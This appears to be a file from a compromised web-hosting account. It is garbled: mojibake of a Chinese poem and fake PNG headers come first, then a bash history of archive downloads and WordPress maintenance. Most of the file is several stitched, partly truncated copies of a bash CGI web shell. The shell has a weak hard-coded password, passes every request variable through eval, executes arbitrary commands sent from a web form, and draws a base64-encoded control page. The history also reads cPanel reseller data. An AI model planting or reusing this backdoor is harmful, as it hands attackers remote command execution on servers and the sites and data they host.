²É²É¾í¶ú£¬²»Ó¯Çê¿ð¡£àµÎÒ»³ÈË£¬Œ…±ËÖÜÐС£Úì±Ë´ÞáÍ£¬ÎÒÂíò³ëP¡£ÎÒ¹Ã×ñ˽ðÀœ£¬Î¬ÒÔ²»ÓÀ»³¡£Úì±Ë¸ß¸Ô£¬ÎÒÂíÐþ»Æ¡£ÎÒ¹Ã×ñËÙîö¡£¬Î¬ÒÔ²»ÓÀÉË¡£Úì±Ë³^ÒÓ£¬ÎÒÂí¯…ÒÓ¡£ ÎÒÆͯjÒÓ£¬ÔƺÎÓõÒÓ£¡ ? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!#1743648393 cd bons* #1743648546 wget bonsaistbrieuc.fr/bons.tar.gz #1743648609 cd .. #1743648611 cd les* #1743648701 wget lesfils-vandergoten.be/les.tar.gz #1743648742 cd .. #1743648745 cd org* #1743648875 wget organisme-de-credit.org/org.tar.gz #1743648880 cd .. #1743648988 cd stu* #1743649052 studio360.be/stu.tar.gz #1743649058 wget studio360.be/stu.tar.gz #1743649063 cd .. #1743649077 cd crea* #1743649179 wget creation-site-vitrine.fr/crea.tar.gz #1743649183 cd .. #1743649924 cd bas* #1743650053 wget basquexplorer.com/bas.tar.gz #1743650060 cd .. #1743650118 cd avo* #1743650183 wget avocatcontact.com/avo.tar.gz #1743650270 cd .. #1743650359 cd chau* #1743650452 wget chauffagiste.biz/chau.tar.gz #1743650482 cd .. #1743650555 cd e-* #1743650625 wget e-clim.com/e.tar.gz #1743650633 cd .. #1743650676 cd ava* #1743650747 wget avancement-sciences.org/ava.tar.gz #1743650750 cd .. #1743650803 cd c-* #1743650941 wget c-visible.com/c.tar.gz #1743650974 cd .. #1743650979 cd meta* #1743651111 wget metamoteur.biz/meta.tar.gz #1743651120 cd .. #1743651143 ls #1743651147 cd cons* #1743651356 wget construction-millot-22.com/con.tar.gz #1743651362 cd .. #1743651423 cd cou* #1743651487 wget couvreur-vella.fr/cou.tar.gz #1743651494 cd .. #1743651552 cd dia* #1743651661 wget diamantcapris.com/dia.tar.gz #1743651719 cd .. #1743651721 cd gee* #1743662428 wget https://www.geekomatik.com/gee.tar.gz #1780496601 for site in /home/sc7vocl2099/*/; do [ -f "$site/wp-config.php" ] || continue; sitename=$(basename "$site"); echo "=== $sitename ==="; locale=$(wp option get WPLANG --allow-root --path="$site" 2>/dev/null); [ -z "$locale" ] && locale="fr_FR"; wp core download --force --locale="$locale" --allow-root --path="$site" 2>/dev/null; echo "Core réinstallé"; result=$(wp core verify-checksums --allow-root --path="$site" 2>/dev/null); echo "$result" | grep -v "^Success" | grep "Warning\|Error" || echo "✅ Checksums OK"; wp plugin update --all --allow-root --path="$site" 2>/dev/null; echo "Plugins mis à jour"; wp theme update --all --allow-root --path="$site" 2>/dev/null; echo "Thèmes mis à jour"; echo ""; done #1780511879 for site in /home/sc7vocl2099/*/; do [ -f "$site/wp-config.php" ] || continue; sitename=$(basename "$site"); echo "=== $sitename ==="; locale=$(wp option get WPLANG --allow-root --path="$site" 2>/dev/null); [ -z "$locale" ] && locale="fr_FR"; wp core download --force --locale="$locale" --allow-root --path="$site" 2>/dev/null; echo "Core réinstallé"; result=$(wp core verify-checksums --allow-root --path="$site" 2>/dev/null); echo "$result" | grep -v "^Success" | grep "Warning\|Error" || echo "✅ Checksums OK"; wp plugin update --all --allow-root --path="$site" 2>/dev/null; echo "Plugins mis à jour"; wp theme update --all --allow-root --path="$site" 2>/dev/null; echo "Thèmes mis à jour"; echo ""; done #1780648624 for site in /home/sc7vocl2099/*/; do [ -f "$site/wp-config.php" ] || continue; sitename=$(basename "$site"); echo "=== $sitename ==="; inactive_plugins=$(wp plugin list --status=inactive --field=name \ --allow-root --path="$site" 2>/dev/null); if [ -n "$inactive_plugins" ]; then wp plugin delete $inactive_plugins --allow-root --path="$site" 2>/dev/null; echo "Plugins désactivés supprimés : $inactive_plugins"; else echo "Aucun plugin désactivé"; fi; active_theme=$(wp theme list --status=active --field=name \ --allow-root --path="$site" 2>/dev/null); parent_theme=$(wp theme get "$active_theme" --field=parent_theme \ --allow-root --path="$site" 2>/dev/null); inactive_themes=$(wp theme list --status=inactive --field=name \ --allow-root --path="$site" 2>/dev/null); for theme in $inactive_themes; do if [ "$theme" != "$parent_theme" ]; then wp theme delete "$theme" --allow-root --path="$site" 2>/dev/null; echo "Thème supprimé : $theme"; else echo "Thème parent conservé : $theme"; fi; done; echo ""; done #1780649341 for site in /home/sc8vocl2099/*/; do [ -f "$site/wp-config.php" ] || continue; sitename=$(basename "$site"); echo "=== $sitename ==="; inactive_plugins=$(wp plugin list --status=inactive --field=name \ --allow-root --path="$site" 2>/dev/null); if [ -n "$inactive_plugins" ]; then wp plugin delete $inactive_plugins --allow-root --path="$site" 2>/dev/null; echo "Plugins désactivés supprimés : $inactive_plugins"; else echo "Aucun plugin désactivé"; fi; active_theme=$(wp theme list --status=active --field=name \ --allow-root --path="$site" 2>/dev/null); parent_theme=$(wp theme get "$active_theme" --field=parent_theme \ --allow-root --path="$site" 2>/dev/null); inactive_themes=$(wp theme list --status=inactive --field=name \ --allow-root --path="$site" 2>/dev/null); for theme in $inactive_themes; do if [ "$theme" != "$parent_theme" ]; then wp theme delete "$theme" --allow-root --path="$site" 2>/dev/null; echo "Thème supprimé : $theme"; else echo "Thème parent conservé : $theme"; fi; done; echo ""; done #1784564614 # Supprimer tous les dossiers "wk" en profondeur sur sc7vocl2099 #1784564615 find /home/sc7vocl2099/ -type d -name "wk" | sort #1784564636 find /home/sc7vocl2099/ -type d -name "wk" -exec rm -rfv {} + 2>/dev/null #1784564643 # Vérification — plus aucun dossier wk #1784564645 find /home/sc7vocl2099/ -type d -name "wk" 2>/dev/null #1784805599 #!/bin/bash -i #1784805599 # #1784805599 password="123" #1784805599 function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } #1784805599 function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h; t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" ; if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done; echo "${v}"; return; } #1784805599 function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string; k="${p%%=*}" # get the key (variable name) from it; v="${p#*=}" # get the value from it; q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } #1784805599 # register all GET and POST variables #1784805599 cgi_getvars BOTH ALL #1784805599 pass="SAVEDPWD=$password" #1784805599 passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` #1784805599 if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo ''; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo ''; else echo -e "Content-type: text/html\n\n"; fi; fi #1784805599 echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPgo8aGVhZD4KPHN0eWxlPgoKYm9keQp7CgliYWNrZ3JvdW5kOiAjMzMzOwoJY29sb3I6ICNGNUY1RjU7CgoJcGFkZGluZzogMTBweDsKCn0KCgphOmxpbmssIGJvZHlfYWxpbmsKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTp2aXNpdGVkLCBib2R5X2F2aXNpdGVkCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXIsIGE6YWN0aXZlLCBib2R5X2Fob3Zlcgp7Cgljb2xvcjogI0ZGRkZGRjsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQoKdGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KCmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KaW5wdXQuYnV0dG9uIHsKZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3Owpjb2xvcjogI2ZmZmZmZjsKZm9udC1zaXplOiAxNnB4OwpwYWRkaW5nOiAxMHB4Owp0ZXh0LWRlY29yYXRpb246IG5vbmU7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czogOHB4OwotbW96LWJvcmRlci1yYWRpdXM6IDhweDsKLXdlYmtpdC1ib3gtc2hhZG93OiAwcHggMXB4IDNweCAjYWJhYmFiOwotbW96LWJveC1zaGFkb3c6IDBweCAxcHggM3B4ICNhYmFiYWI7CnRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjNjY2NjY2Owpib3JkZXI6IHNvbGlkICNkZWRiZGUgMXB4OwpiYWNrZ3JvdW5kOiAjOTA5MDkwIDsKfQouYnV0dG9uOmhvdmVyIHsKYmFja2dyb3VuZDogI0IwQjBCMDsKfQoKIGRpdi5ib3gKewpjb2xvcjogIzMzMzsKYm9yZGVyOjNweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjEwcHggNDBweDsgCmJhY2tncm91bmQ6I2U4ZThlODsKd2lkdGg6OTQlOwpib3JkZXItcmFkaXVzOjI1cHg7Ci1tb3otYm9yZGVyLXJhZGl1czoyNXB4OyAvKiBGaXJlZm94IDMuNiBhbmQgZWFybGllciAqLwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxjZW50ZXI+CjxwcmU+CjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9kLnRvcDR0b3AubmV0L3BfMjQ5YTRpajEucG5nIj48L2NlbnRlcj4KPC9wcmU+Cgo8ZGl2IGFsaWduPSJjZW50ZXIiPg==' | base64 -d #1784805599 if [ -n "$cc" ] ; then echo "
"; cd $d ; eval $cc; echo "<cmd>$?<cmd>"; echo '


'; fi #1784805599 echo 'PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCQ0KCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCTxkaXYgYWxpZ249ImNlbnRlciI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEyMCIgaWQ9InRhYmxlMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+PHRkIHdpZHRoPSI3MTIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYyIgc2l6ZT0iMTAwIiAgLz48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iNzEyIj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSIxMDAiIHZhbHVlPSI=' | base64 -d #1784805599 pwd #1784805599 echo 'Ii8+CjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ1dHRvbjEiIHZhbHVlPSJT ZW5kIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZm9ybT48YnI+PGJyPgo8YnI+PGJyPjxo cj48Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCQoJPGZvcm0gbWV0aG9k PSJwb3N0IiBhY3Rpb249IiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjYzIiIHZhbHVl PSI0IiAgLz4KCQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiIgbmFtZT0iYnV0 dG9uIiB2YWx1ZT0iTG9nb3V0IiAvPgoJPC9mb3JtPg==' | base64 -d #1784805600 #!/bin/bash -i #1784805600 # #1784805600 password="123" #1784805600 function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } #1784805600 function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h; t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" ; if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done; echo "${v}"; return; } #1784805600 function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string; k="${p%%=*}" # get the key (variable name) from it; v="${p#*=}" # get the value from it; q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } #1784805600 # register all GET and POST variables #1784805600 cgi_getvars BOTH ALL #1784805600 pass="SAVEDPWD=$password" #1784805600 passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` #1784805600 if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo ''; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo ''; else echo -e "Content-type: text/html\n\n"; fi; fi #1784805600 echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPjwvaHRtbD4=' | base64 -d #1784805600 cat /var/cpanel/resellers #1784805606 #!/bin/bash -i #1784805606 # #1784805606 password="123" #1784805606 function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } #1784805606 function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h; t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" ; if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done; echo "${v}"; return; } #1784805606 function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string; k="${p%%=*}" # get the key (variable name) from it; v="${p#*=}" # get the value from it; q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } #1784805606 # register all GET and POST variables #1784805606 cgi_getvars BOTH ALL #1784805606 pass="SAVEDPWD=$password" #1784805606 passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` #1784805606 if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo ''; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo ''; else echo -e "Content-type: text/html\n\n"; fi; fi #1784805606 echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPgo8aGVhZD4KPHN0eWxlPgoKYm9keQp7CgliYWNrZ3JvdW5kOiAjMzMzOwoJY29sb3I6ICNGNUY1RjU7CgoJcGFkZGluZzogMTBweDsKCn0KCgphOmxpbmssIGJvZHlfYWxpbmsKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTp2aXNpdGVkLCBib2R5X2F2aXNpdGVkCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXIsIGE6YWN0aXZlLCBib2R5X2Fob3Zlcgp7Cgljb2xvcjogI0ZGRkZGRjsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQoKdGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KCmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KaW5wdXQuYnV0dG9uIHsKZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3Owpjb2xvcjogI2ZmZmZmZjsKZm9udC1zaXplOiAxNnB4OwpwYWRkaW5nOiAxMHB4Owp0ZXh0LWRlY29yYXRpb246IG5vbmU7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czogOHB4OwotbW96LWJvcmRlci1yYWRpdXM6IDhweDsKLXdlYmtpdC1ib3gtc2hhZG93OiAwcHggMXB4IDNweCAjYWJhYmFiOwotbW96LWJveC1zaGFkb3c6IDBweCAxcHggM3B4ICNhYmFiYWI7CnRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjNjY2NjY2Owpib3JkZXI6IHNvbGlkICNkZWRiZGUgMXB4OwpiYWNrZ3JvdW5kOiAjOTA5MDkwIDsKfQouYnV0dG9uOmhvdmVyIHsKYmFja2dyb3VuZDogI0IwQjBCMDsKfQoKIGRpdi5ib3gKewpjb2xvcjogIzMzMzsKYm9yZGVyOjNweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjEwcHggNDBweDsgCmJhY2tncm91bmQ6I2U4ZThlODsKd2lkdGg6OTQlOwpib3JkZXItcmFkaXVzOjI1cHg7Ci1tb3otYm9yZGVyLXJhZGl1czoyNXB4OyAvKiBGaXJlZm94IDMuNiBhbmQgZWFybGllciAqLwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxjZW50ZXI+CjxwcmU+CjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9kLnRvcDR0b3AubmV0L3BfMjQ5YTRpajEucG5nIj48L2NlbnRlcj4KPC9wcmU+Cgo8ZGl2IGFsaWduPSJjZW50ZXIiPg==' | base64 -d #1784805606 if [ -n "$cc" ] ; then echo "
"; cd $d ; eval $cc; echo "<cmd>$?<cmd>"; echo '


'; fi #1784805606 echo 'PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCQ0KCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCTxkaXYgYWxpZ249ImNlbnRlciI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEyMCIgaWQ9InRhYmxlMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+PHRkIHdpZHRoPSI3MTIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYyIgc2l6ZT0iMTAwIiAgLz48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iNzEyIj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSIxMDAiIHZhbHVlPSI=' | base64 -d #1784805606 pwd #1784805606 echo 'Ii8+CjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ1dHRvbjEiIHZhbHVlPSJT ZW5kIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZm9ybT48YnI+PGJyPgo8YnI+PGJyPjxo cj48Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCQoJPGZvcm0gbWV0aG9k PSJwb3N0IiBhY3Rpb249IiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjYzIiIHZhbHVl PSI0IiAgLz4KCQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiIgbmFtZT0iYnV0 dG9uIiB2YWx1ZT0iTG9nb3V0IiAvPgoJPC9mb3JtPg==' | base64 -d #1784805606 #!/bin/bash -i #1784805606 # #1784805606 password="123" #1784805606 function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } #1784805606 function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h; t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" ; if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done; echo "${v}"; return; } #1784805606 function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string; k="${p%%=*}" # get the key (variable name) from it; v="${p#*=}" # get the value from it; q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } #1784805606 # register all GET and POST variables #1784805606 cgi_getvars BOTH ALL #1784805606 pass="SAVEDPWD=$password" #1784805606 passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` #1784805606 if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo ''; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo ''; else echo -e "Content-type: text/html\n\n"; fi; fi #1784805606 echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPgo8aGVhZD4KPHN0eWxlPgoKYm9keQp7CgliYWNrZ3JvdW5kOiAjMzMzOwoJY29sb3I6ICNGNUY1RjU7CgoJcGFkZGluZzogMTBweDsKCn0KCgphOmxpbmssIGJvZHlfYWxpbmsKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTp2aXNpdGVkLCBib2R5X2F2aXNpdGVkCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXIsIGE6YWN0aXZlLCBib2R5X2Fob3Zlcgp7Cgljb2xvcjogI0ZGRkZGRjsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQoKdGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KCmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KaW5wdXQuYnV0dG9uIHsKZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3Owpjb2xvcjogI2ZmZmZmZjsKZm9udC1zaXplOiAxNnB4OwpwYWRkaW5nOiAxMHB4Owp0ZXh0LWRlY29yYXRpb246IG5vbmU7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czogOHB4OwotbW96LWJvcmRlci1yYWRpdXM6IDhweDsKLXdlYmtpdC1ib3gtc2hhZG93OiAwcHggMXB4IDNweCAjYWJhYmFiOwotbW96LWJveC1zaGFkb3c6IDBweCAxcHggM3B4ICNhYmFiYWI7CnRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjNjY2NjY2Owpib3JkZXI6IHNvbGlkICNkZWRiZGUgMXB4OwpiYWNrZ3JvdW5kOiAjOTA5MDkwIDsKfQouYnV0dG9uOmhvdmVyIHsKYmFja2dyb3VuZDogI0IwQjBCMDsKfQoKIGRpdi5ib3gKewpjb2xvcjogIzMzMzsKYm9yZGVyOjNweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjEwcHggNDBweDsgCmJhY2tncm91bmQ6I2U4ZThlODsKd2lkdGg6OTQlOwpib3JkZXItcmFkaXVzOjI1cHg7Ci1tb3otYm9yZGVyLXJhZGl1czoyNXB4OyAvKiBGaXJlZm94IDMuNiBhbmQgZWFybGllciAqLwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxjZW50ZXI+CjxwcmU+CjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9kLnRvcDR0b3AubmV0L3BfMjQ5YTRpajEucG5nIj48L2NlbnRlcj4KPC9wcmU+Cgo8ZGl2IGFsaWduPSJjZW50ZXIiPg==' | base64 -d #1784805606 if [ -n "$cc" ] ; then echo "
"; cd $d ; eval $cc; echo "<cmd>$?<cmd>"; echo '


